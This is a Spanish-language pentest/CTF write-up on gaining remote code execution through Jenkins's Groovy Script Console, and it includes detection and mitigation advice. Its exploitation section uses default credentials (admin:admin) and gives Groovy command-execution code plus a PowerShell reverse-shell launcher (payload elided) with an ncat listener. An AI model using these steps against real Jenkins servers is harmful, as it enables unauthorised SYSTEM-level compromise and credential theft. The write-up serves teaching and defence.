1. Descripción técnica del ataque
Jenkins es un servidor de integración continua muy extendido. Incluye una Script Console (/script o, por nodo, /computer/<nodo>/script) que permite ejecutar scripts Groovy directamente sobre la JVM del controlador, con fines de administración y depuración.
Groovy puede invocar APIs de Java, lo que incluye ejecutar comandos del sistema operativo. Por tanto, cualquier usuario con acceso a la Script Console (típicamente administradores) puede lograr ejecución remota de código con los privilegios del usuario que ejecuta Jenkins —que en muchas instalaciones Windows es NT AUTHORITY\SYSTEM y en Linux el usuario jenkins.
No es una vulnerabilidad del software en sí, sino el abuso de una funcionalidad legítima habilitado por una mala configuración: credenciales débiles/por defecto o la consola expuesta sin autenticación adecuada.
2. Impacto de la vulnerabilidad
- RCE con los privilegios del servicio Jenkins (a menudo
SYSTEMen Windows → compromiso total inmediato). - Acceso a credenciales almacenadas en Jenkins (secretos de despliegue, tokens, claves), facilitando movimiento lateral.
- Pivote hacia toda la infraestructura de CI/CD.
3. Historia y evolución
- La Script Console existe desde hace muchas versiones de Jenkins como herramienta de administración.
- El vector clásico es el uso de credenciales por defecto/débiles (
admin:admin) o paneles expuestos a Internet. - Está integrado en Metasploit (
exploit/multi/http/jenkins_script_console) y es uno de los caminos más habituales en CTFs y pentests con Jenkins.
4. Factores que la hacen posible
- Acceso a la Script Console (
/script), normalmente tras autenticarse con el rol de administrador. - Credenciales débiles, por defecto o ausentes, o autorización mal configurada que permita el acceso.
- La consola Groovy habilitada (lo está por defecto para administradores).
5. Detección
- Identificar Jenkins:
nmap -sCV -p8080 target # Jetty / Jenkins- Acceder a
http://target:8080/y probar credenciales por defecto; comprobar el acceso a/manage/scripto/script. - En CTFs el servicio puede presentarse tras un Jetty genérico; la ruta
/manage/scriptconfirma la Script Console.
6. Mitigación
- Cambiar las credenciales por defecto y aplicar contraseñas fuertes + 2FA.
- No exponer Jenkins a redes no confiables; situarlo tras VPN/proxy autenticado.
- Restringir el acceso a la Script Console mediante la matriz de autorización (solo administradores estrictamente necesarios).
- Ejecutar Jenkins con un usuario sin privilegios (no
SYSTEM/root) para limitar el impacto.
7. Ejemplo de explotación real
Tras autenticarnos (p. ej. admin:admin), en /manage/script ejecutamos un script Groovy que confirma el contexto:
def comando = "cmd /c whoami"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text
// Salida: nt authority\systemY lanzamos una reverse shell de PowerShell:
def comando = 'powershell -NoP -NonI -W Hidden -Command "..."'
def process = comando.execute()
process.waitFor()
println "pwned!"❯ ncat -nlvp 1234
Ncat: Connection from target
PS C:\Program Files\Jenkins> whoami
nt authority\system8. Clasificación
- Tipo: Abuso de funcionalidad / Code Injection → Remote Code Execution
- CWE:
- CWE-94 – Improper Control of Generation of Code (Code Injection)
- CWE-1392 / CWE-1393 – Use of Default / Weak Credentials
9. Resumen
La Script Console de Jenkins ejecuta Groovy sobre la JVM del controlador, lo que permite ejecutar comandos del SO. Con credenciales débiles o acceso indebido, se obtiene RCE con los privilegios de Jenkins (frecuentemente SYSTEM). La defensa es endurecer credenciales, restringir el acceso a la consola y ejecutar el servicio con mínimo privilegio. Relacionado con Tomcat Manager WAR Deploy RCE como abuso de paneles de administración.